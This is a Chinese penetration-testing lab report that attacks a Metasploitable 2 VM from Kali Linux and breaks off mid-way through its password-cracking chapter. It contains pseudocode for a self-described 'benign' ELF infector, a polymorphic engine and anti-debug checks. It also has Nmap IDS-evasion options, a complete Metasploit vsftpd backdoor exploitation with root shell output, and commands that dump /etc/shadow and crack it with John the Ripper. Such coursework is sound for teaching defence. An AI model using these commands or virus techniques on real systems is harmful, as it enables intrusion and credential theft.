网络安全攻防技术实战与原理剖析研究报告

Kali Linux 渗透测试 · 漏洞利用 · 流量分析 · 恶意代码原理

适用环境：VMware Workstation 17+ / Kali Linux 2026.2 / Metasploitable 2

—— 仅供教学与实验室环境使用 ——

⚠ 法律声明与安全免责声明

⚠本报告所有实验内容仅在 VMware 虚拟化环境的“仅主机模式（Host-only）”隔离网络中执行。严禁将此报告中的技术用于任何未经授权的网络渗透、扫描或攻击行为。

任何未经授权访问计算机系统、网络或数据的行为，均可能违反《中华人民共和国刑法》第二百八十五条、二百八十六条关于“非法侵入计算机信息系统罪”及“破坏计算机信息系统罪”的相关规定，以及《网络安全法》的相关条款。使用者应严格遵守所在国家及地区的法律法规。

本实验的设计初衷在于培养网络安全防御能力，通过“以攻促防”的方式，帮助安全从业人员深入理解攻击者的思维方式与技术手段，从而构建更为坚固的防御体系。文档中涉及的所有靶机系统均为专门设计存在漏洞的实验环境（如 Metasploitable 2），不包含任何真实生产系统的数据。

使用本文档内容所产生的一切法律后果由操作者自行承担。文档作者及发布平台不对任何滥用行为负责。

摘要

随着数字化转型的加速推进，网络安全已成为信息系统建设的核心环节。根据IBM《2025年数据泄露成本报告》显示，全球平均数据泄露成本已达到445万美元，较上一年增长约15%。在这一背景下，攻防对抗技术的深入研究对于提升系统安全性具有不可替代的价值。

本报告立足于红队攻防视角，在严格隔离的虚拟化沙箱环境中，系统性地复现了从信息侦察、漏洞识别、漏洞利用、权限提升到流量取证的全生命周期渗透测试过程。报告前半部分深入探讨了计算机病毒（良性）的自检机制、多态变形及反调试原理，阐述了其在系统健壮性检测中的应用边界与伦理约束；后半部分则以Kali Linux为攻击平台，选取Nmap、Metasploit Framework、Searchsploit、John the Ripper及Wireshark五大核心工具，对Metasploitable 2靶机进行体系化的渗透测试实战。

通过抓取底层数据包、分析TCP/IP协议交互细节及破解系统哈希，实验验证了老旧服务组件（如vsftpd 2.3.4、UnrealIRCd 3.2.8.1）中存在的严重安全缺陷。实验结果表明，即使是十年前已公开的漏洞，在未打补丁的系统上依然具有极高的杀伤力。特别是弱口令问题，往往是突破系统纵深防御体系的最后一环。

本报告旨在为网络安全从业人员及学习者提供一套标准化的实验范式，强调“未知攻，焉知防”的核心理念，并为实际生产环境的安全加固提供数据支撑与决策参考。

关键词：渗透测试；Metasploit；漏洞利用；流量分析；恶意代码原理；沙箱隔离；Kali Linux；Metasploitable

目录

第一章 绪论

1.1 研究背景与意义

1.2 国内外研究现状

1.3 实验环境与工具概述

1.4 报告组织结构

第二章 计算机良性病毒与自检技术原理（理论篇）

2.1 计算机病毒的定义与特征模型

2.2 良性自检程序的设计伦理与控制条件

2.3 传染性模型的构建与隔离机制

2.4 隐蔽性与潜伏性：Rootkit技术与进程注入原理

2.5 多态与变形引擎：对抗特征码检测的静态混淆

2.6 反调试技术：INT 3断点检测与Trap Flag反跟踪

2.7 破坏性（良性验证）：基于资源占用的压力测试

2.8 本章小结

第三章 实验环境搭建与隔离策略

3.1 虚拟化技术的选型依据

3.2 网络隔离方案：Host-only模式深度解析

3.3 攻击机（Kali Linux）配置详情

3.4 靶机（Metasploitable 2）脆弱性分析

3.5 连通性测试与快照管理

第四章 网络侦察与服务指纹识别

4.1 Nmap扫描原理综述

4.2 TCP半开扫描（SYN Stealth Scan）机制

4.3 服务版本探测（-sV）与操作系统指纹（-O）

4.4 实验数据与结果分析

4.5 侦察阶段的风险规避

第五章 漏洞利用与权限获取

5.1 Metasploit Framework架构解析

5.2 vsftpd 2.3.4 后门漏洞（CVE-2011-2523）原理

5.3 攻击载荷（Payload）与编码器（Encoder）的选择

5.4 Meterpreter会话管理与后渗透操作

5.5 实验过程与结果验证

第六章 离线漏洞库检索与利用

6.1 Searchsploit工具原理

6.2 Exploit-DB数据库结构

6.3 基于CVE编号的漏洞定位

6.4 源代码审计视角下的漏洞分析

6.5 实验结果与分析

第七章 密码哈希破解与身份认证安全

7.1 Linux认证机制：/etc/shadow与加盐哈希

7.2 John the Ripper工作原理：字典攻击与暴力破解

7.3 哈希格式识别与规则变形（Mangling Rules）

7.4 实验数据：弱口令破解统计与分析

7.5 强密码策略的制定

第八章 网络流量取证与协议分析

8.1 Wireshark抓包原理与混杂模式

8.2 TCP三次握手与四次挥手在攻击流量中的体现

8.3 FTP协议交互深度解析

8.4 后门激活与反向Shell的流量特征

8.5 流量可视化与攻击溯源

第九章 综合分析与安全加固建议

9.1 渗透测试全流程复盘

9.2 攻击路径图（Attack Path）

9.3 纵深防御体系构建

9.4 漏洞修补与补丁管理策略

9.5 入侵检测系统（IDS）规则优化建议

第十章 结论与展望

10.1 研究总结

10.2 局限性与不足

10.3 未来研究方向

参考文献

附录

第一章 绪论

1.1 研究背景与意义

在当前的网络安全形势下，攻防不对称是一个长期存在的核心矛盾。攻击者只需找到一个漏洞即可突破系统，而防御者必须修补所有漏洞才能确保安全。这种不对称性使得主动性的安全测试（即渗透测试）变得至关重要。

渗透测试（Penetration Testing）是一种通过模拟恶意攻击者的技术与方法，对目标系统的安全性进行客观评估的过程。不同于自动化的漏洞扫描器，渗透测试强调人工干预与创造性思维，能够发现自动化工具难以识别的逻辑漏洞与配置缺陷。

本实验选择Kali Linux作为攻击平台，原因在于其预装了超过600款安全测试工具，涵盖了信息收集、漏洞分析、Web应用测试、密码攻击、无线攻击、逆向工程等所有渗透测试阶段所需的工具链。Metasploitable 2作为靶机，是专门为安全学习者设计的漏洞靶场，内置了大量已知漏洞，为实验提供了标准化的测试对象。

1.2 国内外研究现状

国际上，渗透测试技术的研究已有二十余年的积累。Metasploit Framework由HD Moore于2003年发起，现已成为业界标准的漏洞利用开发平台。MITRE公司维护的CVE（Common Vulnerabilities and Exposures）数据库，为漏洞的标准化描述提供了基础架构。美国的OSCP（Offensive Security Certified Professional）认证体系，将渗透测试实战能力作为核心考核指标。

国内方面，随着《网络安全法》《数据安全法》《个人信息保护法》的相继出台，网络安全等级保护制度（等保2.0）对渗透测试提出了明确的合规性要求。国内高校如西安电子科技大学、北京邮电大学等已开设专门的网络安全攻防实验课程。奇安信、360等安全企业也建立了各自的攻防实验室与漏洞研究平台。

然而，国内在开源漏洞利用框架方面仍相对薄弱，大多数实战工具依赖对国外开源项目的二次开发。因此，深入理解Metasploit等框架的底层原理，对于提升我国网络安全自主可控能力具有重要意义。

1.3 实验环境与工具概述

本报告选取的五大工具覆盖渗透测试完整生命周期：

•Nmap —— 信息收集阶段的网络侦察与端口扫描工具

•Metasploit Framework —— 漏洞利用与后渗透操作的核心平台

•Searchsploit —— 离线漏洞情报检索与利用代码定位工具

•John the Ripper —— 离线密码哈希破解与弱口令审计工具

•Wireshark —— 网络流量捕获、协议分析与攻击取证工具

1.4 报告组织结构

本报告共分为十章。第二章从理论层面探讨计算机良性病毒的自检原理与反调试技术；第三章详述实验环境的搭建与隔离策略；第四章至第八章分别围绕五大工具展开实战操作与原理分析；第九章综合全流程进行安全加固建议；第十章总结研究成果并展望未来方向。

第二章 计算机良性病毒与自检技术原理（理论篇）

2.1 计算机病毒的定义与特征模型

根据《中华人民共和国计算机信息系统安全保护条例》第二十八条规定，计算机病毒是指“编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码”。从技术架构角度，计算机病毒通常具备以下六大核心特征：

1. 传染性（Infectivity）：能够通过文件系统、网络共享、邮件附件等途径将自身副本传播至其他宿主。

2. 隐蔽性（Concealment）：能够隐藏自身进程、文件或网络连接，逃避操作系统和杀毒软件的检测。

3. 潜伏性（Latency）：在特定触发条件（Trigger）满足前不进行恶意操作，降低被发现的概率。

4. 多态性（Polymorphism）：每次复制时改变自身代码特征，逃避基于特征码（Signature-based）的检测机制。

5. 触发型（Trigger-based）：在特定时间、事件或条件下才激活其有效载荷（Payload）。

6. 针对性（Targeted）：针对特定操作系统、CPU架构或应用软件版本进行攻击。

2.2 良性自检程序的设计伦理与控制条件

本报告所探讨的“良性病毒”（Benign Virus）特指不具备破坏意图，仅用于模拟感染行为、检测系统漏洞或评估杀毒软件响应能力的特殊程序。其设计必须遵循严格的安全伦理框架：

ℹ良性自检程序的核心价值在于：在不造成实际损害的前提下，验证目标系统的安全防护能力、资源调度效率及异常检测机制的有效性。

控制条件（Kill Switch）是良性病毒设计中最为关键的 safety mechanism，必须包含以下要素：

•时间自毁机制：设定绝对过期日期，到达后自动停止运行并安全删除所有副本

•传播范围硬限制：仅在指定虚拟网卡或私有网段内传播，遇到公网IP立即终止

•资源消耗上限：CPU占用率不超过5%，内存占用不超过50MB，磁盘写入不超过100MB

•无实体破坏条款：严禁格式化磁盘、删除引导扇区、覆盖系统文件或拒绝服务

•可逆性保证：所有操作均可回滚，不修改系统关键配置

2.3 传染性模型的构建与隔离机制

在Linux（ELF）环境下，良性的文件感染通常采用“追加型”或“插入型”感染策略。追加型感染将病毒代码附加到ELF文件的末尾，并修改程序头（Program Header）中的入口点（Entry Point），使其指向病毒代码。病毒执行完毕后，再跳转回原始入口点，实现“寄生”运行。

为防止传染失控，良性自检程序应实现以下隔离机制：

•利用Linux Namespace技术创建独立的Mount Namespace，使程序误以为感染了全盘，实则仅在沙箱内活动

•利用cgroup限制CPU、内存、I/O及网络带宽的使用上限

•设定感染计数器（Infection Counter），每感染一个新文件计数器加1，达到预设阈值（如10次）后停止传播

•在传播前检查目标文件的数字签名，避免感染系统关键二进制文件

2.3.1 感染控制伪代码示例

// 良性ELF感染器 - 感染控制逻辑（伪代码）

#include

#include

#include

#define MAX_INFECTIONS10// 最大感染次数

#define TARGET_DIR"/sandbox/" // 受限目录

static int infection_count = 0;

int safe_infect(const char* target_path) {

//控制条件1：检查感染计数

if(infection_count >= MAX_INFECTIONS) {

log_event("Infectionlimit reached, self-terminating");

return-1;// 停止传播

}

//控制条件2：路径白名单检查

if(strncmp(target_path, TARGET_DIR, strlen(TARGET_DIR)) != 0) {

return-2;// 拒绝感染沙箱外文件

}

//控制条件3：文件类型验证

if(!is_valid_elf(target_path)) {

return-3;// 仅感染ELF文件

}

//执行良性感染（追加型）

intret = append_virus_code(target_path);

if(ret == 0) {

infection_count++;

log_event("Infected:%s (count=%d)", target_path, infection_count);

}

returnret;

}

2.4 隐蔽性与潜伏性：进程注入与Rootkit技术原理

隐蔽性是病毒生存的核心能力。在Linux系统中，常见的隐蔽技术包括：

LD_PRELOAD劫持：通过预加载自定义的动态链接库，劫持readdir()、stat()等系统调用，过滤掉病毒自身的文件名和进程名，使其在ls和ps命令的输出中不可见。

ptrace进程注入：利用ptrace()系统调用将Shellcode注入到系统可信进程（如sshd或init）的地址空间中，以合法进程的身份运行，从而躲避进程枚举检测。

内核模块隐藏：通过加载恶意内核模块（LKM Rootkit），直接修改内核的进程链表（task_struct list），从内核层面隐藏进程和文件。

潜伏性触发机制：利用cron定时任务、inotify文件系统监控或特定系统事件（如用户登录、特定文件访问）作为触发条件，在未满足条件时保持静默状态。

2.5 多态与变形引擎：对抗特征码检测

传统杀毒软件依赖特征码（Signature）匹配来识别已知病毒。多态病毒通过加密和代码变形技术，使得每次生成的二进制文件哈希值完全不同，从而逃避基于指纹的静态检测。

多态引擎（Polymorphic Engine）的核心工作流程如下：

1. 加密阶段：病毒主体被对称加密算法（如RC4、XOR）加密，仅保留解密头部（Decryptor）为明文。

2. 解密头变异：每次感染时，解密头部的指令序列随机变化（如交换指令顺序、插入NOP指令、使用等效指令替换）。

3. 寄存器随机化：随机分配使用的通用寄存器，避免固定的寄存器访问模式。

4. 垃圾代码插入：在有效指令之间随机插入不影响程序逻辑的冗余指令。

2.5.1 多态变形伪代码示例

// 多态变形引擎 - 代码混淆逻辑（伪代码）

#include

#include

void polymorphic_mutate(uint8_t* code, int len) {

uint32_tseed = get_random_seed();

srand(seed);

for(int i = 0; i < len; i += 4) {

//策略1：随机插入NOP指令（0x90）

if(rand() % 3 == 0) {

insert_nop_at(code,i);

}

//策略2：等效指令替换

//add eax, 1->inc eax

//sub eax, -1 ->inc eax

if(is_add_one(code + i)) {

replace_with_inc(code+ i);

}

//策略3：随机异或加密块

uint8_tkey = rand() & 0xFF;

xor_block(code+ i, 4, key);

}

//策略4：随机化寄存器分配

randomize_registers(code,len);

}

2.6 反调试技术：INT 3断点检测与Trap Flag反跟踪

为了防止逆向工程师分析病毒逻辑，恶意代码通常集成多种反调试（Anti-Debugging）技术。这些技术在红队工具开发和安全软件对抗中也有广泛应用。

2.6.1 反调试伪代码示例

// 反调试检测 - 多种技术组合（伪代码）

#include

#include

#include

int anti_debug_check(void) {

//方法1：检查TracerPid

FILE*f = fopen("/proc/self/status", "r");

charline[256];

while(fgets(line, sizeof(line), f)) {

if(strncmp(line, "TracerPid:", 10) == 0) {

inttracer_pid = atoi(line + 10);

if(tracer_pid != 0) {

fclose(f);

return1; // 正在被调试

}

}

}

fclose(f);

//方法2：时间戳检测

uint64_tt1 = rdtsc();

for(volatile int i = 0; i < 1000; i++); // 短延迟

uint64_tt2 = rdtsc();

if((t2 - t1) > 1000000) { // 阈值需根据实际情况调整

return2; // 可能被单步调试

}

//方法3：ptrace自检

if(ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {

return3; // 已被其他调试器附加

}

return0; // 未被调试

}

2.7 破坏性（良性验证）：基于资源占用的压力测试

良性病毒的“破坏性”严格限定于可控的压力测试范畴，用于验证系统在高负载条件下的鲁棒性与稳定性。具体验证项包括：

•CPU自检：创建低优先级的线程，进行素数计算或矩阵运算，监测CPU温度与频率变化，验证散热系统效能

•内存自检：分配大块内存并进行读写翻转测试（Walking Bit Test），检测ECC内存纠错能力

•磁盘I/O自检：在受限目录内进行大文件读写，检测磁盘I/O调度效率与坏块情况

•网络栈自检：在隔离网络内发送特定模式的数据包，验证协议栈的正确性与吞吐量

所有自检操作均设有硬性终止条件：一旦检测到系统负载超过预设阈值（如Load Average > 5），立即释放全部资源并进入休眠状态。这种“优雅降级”机制确保了良性程序不会对系统造成实质性损害。

2.8 ABI兼容性考量

在跨平台病毒研究中，ABI（Application Binary Interface）的兼容性是一个核心技术挑战。不同操作系统、不同CPU架构甚至不同编译器版本之间的ABI差异，直接决定了恶意代码能否成功执行。

以Linux x86-64架构为例，系统调用通过syscall指令触发，调用号存放在RAX寄存器中，参数依次存放在RDI、RSI、RDX、R10、R8、R9寄存器中。而在ARM64架构上，系统调用通过svc指令触发，调用号存放在X8寄存器中，参数存放在X0-X5寄存器中。这种底层差异意味着针对x86-64编写的Shellcode无法直接在未做适配的ARM64系统上运行。

因此，具备针对性的病毒程序需要在感染前检测目标系统的架构特征（如通过uname()系统调用获取machine字段），并选择对应的有效载荷。这种“针对性”（Targeted）特性也是本报告关注的重点之一。

2.9 本章小结

本章从理论上构建了良性自检程序的技术框架，深入分析了传染性控制、隐蔽性实现、多态变形、反调试等核心技术的原理与实现路径。需要强调的是，这些技术知识的应用必须严格限制在受控的实验室内，并遵循法律法规与伦理准则。在后续的渗透测试实战章节中，我们将利用这些理论知识去理解恶意程序可能留下的痕迹（如异常的网络连接、隐藏的进程），从而更好地进行防御与检测。

第三章 实验环境搭建与隔离策略

3.1 虚拟化技术的选型依据

选用VMware Workstation 17 Pro作为虚拟化平台，主要基于其对快照（Snapshot）功能的良好支持及稳定的网络模拟能力。在红队演练中，快照允许我们在每一步操作后回滚系统状态，确保实验的可重复性与可逆性。此外，VMware的虚拟网络编辑器提供了三种网络模式（Bridge、NAT、Host-only），为网络隔离策略的实施提供了灵活的基础架构。

3.2 网络隔离方案：Host-only模式深度解析

网络隔离是安全测试的第一原则，也是不可逾越的红线。任何疏忽都可能将攻击流量泄露到真实网络，造成不可挽回的后果。

ℹ本实验所有操作均在Host-only（VMnet1）模式下进行。该模式创建了一个私有的虚拟网络交换机，仅允许宿主机与虚拟机之间通信，完全切断了与外部物理网络的连接。即使靶机被完全攻陷，攻击流量也不会泄漏到外部网络。

3.3 攻击机（Kali Linux）配置详情

Kali Linux 2026.2是Offensive Security公司维护的专用渗透测试操作系统，基于Debian testing分支构建。本实验采用其完整ISO镜像进行安装，安装过程中选择“默认”桌面环境（Xfce），并启用网络镜像以更新至最新补丁。

关键配置步骤如下：

# 1. 配置静态IP地址

sudo nano /etc/network/interfaces

# 添加以下内容：

auto eth0

iface eth0 inet static

address192.168.229.128

netmask255.255.255.0

network192.168.229.0

broadcast192.168.229.255

# 2. 重启网络服务

sudo systemctl restart networking

# 3. 验证IP配置

ip a show eth0

# 4. 更新系统

sudo apt update && sudo apt full-upgrade -y

# 5. 安装额外工具

sudo apt install -y exploitdb wordlists

3.4 靶机（Metasploitable 2）脆弱性分析

Metasploitable 2是Rapid7公司发布的专门设计存在漏洞的靶机系统，基于Ubuntu 8.04 LTS构建。它预装了大量存在已知漏洞的服务组件，为渗透测试学习者提供了标准化的练习环境。需要特别强调的是，该系统绝不应部署在任何生产网络或可达公网的服务器上。

靶机默认凭证为msfadmin/msfadmin，登录后可通过ifconfig命令确认IP地址配置。系统内预置的脆弱服务包括但不限于：vsftpd 2.3.4（含后门）、OpenSSH 4.7p1、Samba 3.x（多个漏洞）、UnrealIRCd 3.2.8.1（含后门）、Apache Tomcat 6.0.20、MySQL 5.0.51a等。

3.5 连通性测试与快照管理

环境搭建完成后，必须验证攻击机与靶机之间的网络连通性。在Kali端执行ping命令测试基础连通性，同时验证各服务端口的可达性。

# Kali端 - 连通性测试

ping 192.168.229.129 -c 4

# 验证FTP服务可达性

nc -zv 192.168.229.129 21

# 验证SSH服务可达性

nc -zv 192.168.229.129 22

# 靶机端 - 确认IP配置

ifconfig eth0

# 靶机端 - 查看运行中的服务

netstat -tulnp

✔建议在进行任何攻击操作前，先对两台虚拟机分别创建快照（Snapshot），命名为“初始状态-纯净环境”。这样在实验过程中可随时回滚，确保每一步操作都在干净的基线环境中进行。

第四章 网络侦察与服务指纹识别

4.1 Nmap扫描原理综述

Nmap（Network Mapper）是Gordon Lyon（笔名Fyodor）于1997年开发的开源网络扫描工具，目前已成为端口扫描领域的行业标准。其核心作用不仅仅是“扫端口”，而是通过发送精心构造的原始数据包（Raw Packets），根据返回的响应特征，系统性地回答三个核心问题：目标是否存活？目标开放了哪些端口？端口后面运行的是什么服务？

Nmap的扫描技术体系十分丰富，包括但不限于：TCP SYN扫描（-sS）、TCP Connect扫描（-sT）、UDP扫描（-sU）、TCP NULL扫描（-sN）、FIN扫描（-sF）、Xmas扫描（-sX）、TCP ACK扫描（-sA）、窗口扫描（-sW）以及Idle扫描（-sI）。不同的扫描类型利用了TCP/IP协议栈在不同状态下的响应差异，适用于不同的网络环境和防火墙配置。

4.2 TCP半开扫描（SYN Stealth Scan）机制

SYN半开扫描（Stealth Scan）是Nmap最常用的扫描方式，其“隐形”特性源于对TCP三次握手协议的状态机截断。正常的TCP连接需要经过三次握手：客户端发送SYN包，服务端回复SYN+ACK包，客户端再发送ACK包确认，连接建立。而SYN扫描在收到SYN+ACK后，不发送最后的ACK确认，而是直接发送RST包重置连接。

这种截断行为使得目标主机的应用层服务（如Apache、vsftpd）不会建立完整的Socket连接，因此不会在应用层日志中留下记录。但同时，网络层的防火墙和IDS仍能检测到这些半开连接。这也是“隐形”一词需要加引号的原因——它仅对应用层日志隐形，对网络层监控并非不可见。

4.3 服务版本探测与操作系统指纹识别

-sV参数启用了Nmap的服务版本探测功能。其工作原理是向已发现开放端口发送一系列精心构造的探测Payload，然后根据目标返回的响应与内置的签名数据库（nmap-service-probes）进行匹配，从而识别出具体的服务名称和版本号。

-O参数则启用了操作系统指纹识别。不同的操作系统内核在实现TCP/IP协议栈时存在微妙差异，这些差异构成了操作系统的“指纹”。Nmap通过发送特殊的TCP/UDP/ICMP探测包，分析返回的TTL值、IP头标志位、TCP窗口大小、DF位等特征，与nmap-os-db数据库进行比对，从而推断底层操作系统。

4.4 实验操作与结果分析

在确认网络连通性后，使用Nmap对靶机进行深度扫描。

# 1. 基础版本探测（快速定位攻击面）

sudo nmap -sV -O 192.168.229.129

# 2. 全端口深度扫描

sudo nmap -p- -A 192.168.229.129

# 3. 针对性漏洞脚本扫描

sudo nmap --script vuln 192.168.229.129

扫描结果的核心发现如下：

操作系统识别结果为“Linux 2.6.9 ~ 2.6.33”，这是一个非常老旧的内核版本（2008-2010年间发布），意味着系统缺少十余年的安全补丁，存在大量已知的内核漏洞。

4.5 侦察阶段的风险规避

在实际的渗透测试中，侦察阶段需要特别注意规避目标网络的入侵检测系统（IDS）和入侵防御系统（IPS）。常用的规避技术包括：

•分片扫描（-f）：将探测包分片为更小的数据段，使IDS难以重组和匹配特征

•诱饵扫描（-D）：在扫描包中混入多个虚假源IP地址，混淆真实的扫描来源

•慢速扫描（-T0/-T1）：将扫描速度降至极低，使流量特征淹没在正常网络噪声中

•指定源端口（--source-port）：使用常见的可信端口（如53/DNS、80/HTTP）作为源端口发送探测包

第五章 漏洞利用与权限获取

5.1 Metasploit Framework架构解析

Metasploit Framework（MSF）是H.D. Moore于2003年发起的开源渗透测试框架，现由Rapid7公司维护。它不仅仅是一个漏洞利用工具，而是一个完整的攻击载荷生成器、漏洞利用数据库和后渗透操作平台。MSF的架构设计遵循模块化理念，核心组件包括：

•Exploit（漏洞利用模块）：包含针对特定漏洞的攻击代码，负责将Payload投递到目标系统

•Payload（有效载荷）：漏洞利用成功后执行的操作，如反向Shell、绑定Shell、Meterpreter等

•Encoder（编码器）：对Payload进行编码，绕过字符过滤和简单特征检测

•NOP（空操作生成器）：生成NOP指令序列（ sled），增加Payload在内存中正确执行的成功率

•Auxiliary（辅助模块）：不直接获得Shell，但提供扫描、嗅探、DoS等功能

•Post（后渗透模块）：获得初始访问权限后执行的横向移动、权限提升、数据收集等操作

5.2 vsftpd 2.3.4后门漏洞（CVE-2011-2523）原理

vsftpd（Very Secure FTP Daemon）是一款广泛应用于Linux系统的FTP服务器软件。2011年7月，某未知攻击者在vsftpd 2.3.4的源代码中植入了恶意后门代码，并通过官方渠道发布了该版本。当用户连接FTP服务并发送的用户名中包含特定触发字符（冒号“:”）时，后门代码会被激活，在靶机的6200端口开启一个无需认证的Shell。

从技术原理上看，该后门利用了vsftpd源码中vsf_sysutil_extra()函数的条件编译分支。在正常情况下，该函数为空操作。但在被篡改的版本中，该函数在特定条件下会调用fork()创建子进程，并在子进程中监听6200端口，将标准输入、输出、错误重定向到该Socket，从而实现远程代码执行（RCE）。

⚠该漏洞的本质是供应链攻击（Supply Chain Attack）的典型案例。恶意代码被合法地编译进广泛分发的软件包中，任何使用该版本vsftpd的系统都在不知情的情况下安装了后门。这提醒我们：即使是官方发布的软件，也必须验证其完整性和来源。

5.3 攻击载荷与编码器选择

在本次实验中，我们选择reverse_tcp类型的Meterpreter作为攻击载荷。Meterpreter是Metasploit的高级交互式Shell，具有以下优势：

•全内存执行：通过内存注入技术运行在目标进程中，不在磁盘上留下文件痕迹

•模块化扩展：支持动态加载各种功能模块（如键盘记录、屏幕截图、哈希dump等）

•抗取证特性：通信流量可加密，进程可迁移，会话可持久化

reverse_tcp（反向连接）策略的设计目的是绕过防火墙对入站流量的限制。大多数防火墙默认允许出站流量通过，因此让靶机主动连接攻击机的监听端口，成功率远高于让攻击机直接连接靶机。set LHOST的作用就是告诉靶机上的恶意代码：“把你的Shell标准输入输出重定向到这个IP的指定端口”。

5.4 实验操作步骤与结果

完整的Metasploit攻击流程如下：

# 启动Metasploit控制台

sudo msfconsole

# 1. 搜索vsftpd相关漏洞利用模块

msf6 > search vsftpd

# 2. 加载漏洞利用模块

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# 3. 查看必填参数

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# 4. 设置靶机IP

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.229.129

# 5. 设置本地监听IP（必须与Kali IP一致）

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.229.128

# 6. 设置本地监听端口

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LPORT 4444

# 7. 执行攻击

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

攻击成功的标志是Metasploit控制台输出以下信息：

[*] Started reverse TCP handler on 192.168.229.128:4444

[*] 192.168.229.129:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.229.129:21 - USER: 331 Please specify the password.

[*] 192.168.229.129:21 - Backdoor triggered, shell opening on 6200...

[*] 192.168.229.129:21 - Backdoor has been spawned!

[*] Meterpreter session 1 opened (192.168.229.128:4444 -> 192.168.229.129:55565)

meterpreter >

✔最后一行出现meterpreter >提示符，表明已成功获得靶机的完全控制权（root权限）。此时可以执行任意系统命令、上传/下载文件、创建持久化后门等操作。

5.5 Meterpreter核心命令与后渗透操作

进入Linux Shell执行系统命令的示例：

meterpreter > shell

Process 5489 created.

Channel 1 created.

whoami

root

id

uid=0(root) gid=0(root) groups=0(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP ... i686 GNU/Linux

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

...

exit

meterpreter >

第六章 离线漏洞库检索与利用

6.1 Searchsploit工具原理

在实战内网渗透场景中，目标机器通常严禁访问互联网，攻击者无法在线搜索漏洞详情。Searchsploit是Exploit-DB（Exploit Database）的本地离线命令行客户端，由Offensive Security团队维护。它允许安全研究人员在没有网络连接的情况下，通过软件名称和版本号快速定位可用的漏洞利用代码。

Searchsploit的本质是对本地/usr/share/exploitdb/files.csv索引文件进行正则匹配查询。该CSV文件包含了Exploit-DB数据库中所有漏洞利用条目的元数据：Exploit ID、描述、漏洞类型（Remote/Local）、平台（Windows/Linux/Unix）、语言（C/Python/Ruby）等。

6.2 漏洞利用代码的审计视角

通过Searchsploit找到利用代码后，审计其源代码可以帮助理解漏洞的底层机制。以vsftpd 2.3.4后门为例，查看其Metasploit模块源码（Ruby语言编写），可以清晰地看到：

•模块声明了target信息（Target: vsftpd 2.3.4 on Linux）

•定义了Payload类型（cmd/unix/interact，即交互式Shell）

•连接靶机21端口后，发送包含“:”的用户名触发后门

•后门激活后，连接靶机6200端口获取Shell

这种源码审计能力是将“工具使用者”提升为“漏洞研究者”的关键技能。理解了漏洞的底层原理，才能编写针对性的检测规则和防御策略。

6.3 实验操作步骤

# 1. 精确匹配服务版本

searchsploit vsftpd 2.3.4

# 2. 模糊匹配Samba相关漏洞

searchsploit samba 3.x

# 3. 查询UnrealIRCd漏洞

searchsploit unrealircd

# 4. 查看漏洞利用源码

searchsploit -x 17491

# 5. 复制漏洞文件到当前目录

searchsploit -m 17491.rb

Searchsploit查询结果示例：

+--------------------------------+----------------------------------+

| Exploit Title| Path|

+--------------------------------+----------------------------------+

| vsftpd 2.3.4 - Backdoor Cmd| exploits/unix/remote/17491.txt|

|Execution (Metasploit)||

| UnrealIRCd 3.2.8.1 - Backdoor| exploits/linux/remote/16922.rb|

|Command Execution||

| UnrealIRCd 3.2.8.1 - Local| exploits/linux/local/18011.c|

|Config Stack Overflow||

+--------------------------------+----------------------------------+

CVE References:

CVE-2011-2523(vsftpd 2.3.4)

CVE-2010-2075(UnrealIRCd 3.2.8.1)

6.4 缓冲区溢出漏洞原理简述

在Searchsploit的搜索结果中，经常可以看到“Stack Overflow”（栈溢出）类型的漏洞。这是最经典的二进制漏洞类型之一，其原理与操作系统课程中《函数调用栈帧》的压栈、弹栈过程直接对应。

当程序向栈上分配的缓冲区（如char buf[64]）写入超过其容量的数据时，多余的数据会向后覆盖相邻的内存区域。一个典型的栈溢出利用链包括：填充缓冲区至边界 → 覆盖保存的EBP/RBP → 覆盖返回地址（Return Address）→ 跳转至注入的Shellcode。通过精心构造的输入数据，攻击者可以完全控制程序的执行流程，实现任意代码执行。

理解栈溢出的内存布局对于漏洞研究至关重要。在x86-64架构上，一个典型的栈帧结构从低地址到高地址依次为：函数参数、返回地址、保存的RBP、局部变量（缓冲区）。当缓冲区溢出时，数据从低地址向高地址增长，依次覆盖这些关键数据。

第七章 密码哈希破解与身份认证安全

7.1 Linux认证机制与加盐哈希

Linux系统的身份认证由PAM（Pluggable Authentication Modules）模块管理。用户的密码从不以明文形式存储，而是经过单向哈希函数运算后，以“$id$salt$hash”的格式存储在/etc/shadow文件中。其中id字段标识哈希算法类型：$1$代表MD5，$5$代表SHA-256，$6$代表SHA-512。

Salt（盐值）是一个随机生成的字符串，其作用是确保即使两个用户的密码相同，由于盐值不同，最终存储的哈希值也完全不同。这有效防御了基于预计算哈希链的“彩虹表”攻击——攻击者无法用一张预计算表来匹配所有用户，必须针对每个哈希的盐值单独计算。

7.2 John the Ripper工作原理

John the Ripper（简称John）是由Solar Designer开发的开源密码破解工具。它的工作流程如下：

1. 读取哈希文件，解析出每个条目的算法类型、盐值和哈希值

2. 从字典文件（如rockyou.txt）中加载候选密码

3. 应用规则变形（Mangling Rules）：对字典词进行大小写变换、数字后缀追加、字母替换（如a↔0, o→2）等

4. 对每个候选词拼接盐值后进行哈希运算

5. 将计算结果与目标哈希比对，若一致则破解成功

John支持多种运行模式：

•Wordlist模式（-w）：基于字典的暴力破解，是最常用且最高效的模式

•Single模式（--single）：利用已有用户名作为破解线索，尝试用户名本身或其变体

•Incremental模式（--incremental）：纯暴力穷举，按字符集和长度逐步尝试所有组合

•External模式（--external）：使用用户自定义的外部规则脚本生成候选词

7.3 实验操作步骤

Step 1：在Meterpreter会话中获取密码哈希：

# 方法1：使用Meterpreter内置命令

meterpreter > hashdump

# 方法2：直接读取shadow文件

meterpreter > shell

cat /etc/shadow

# 将哈希数据保存为以下格式（复制到Kali本地hash.txt）：

# username:$hash_type$salt$hash:...

Step 2：在Kali端执行破解：

# 指定哈希格式破解（Metasploitable使用MD5crypt）

john --format=md5crypt hash.txt

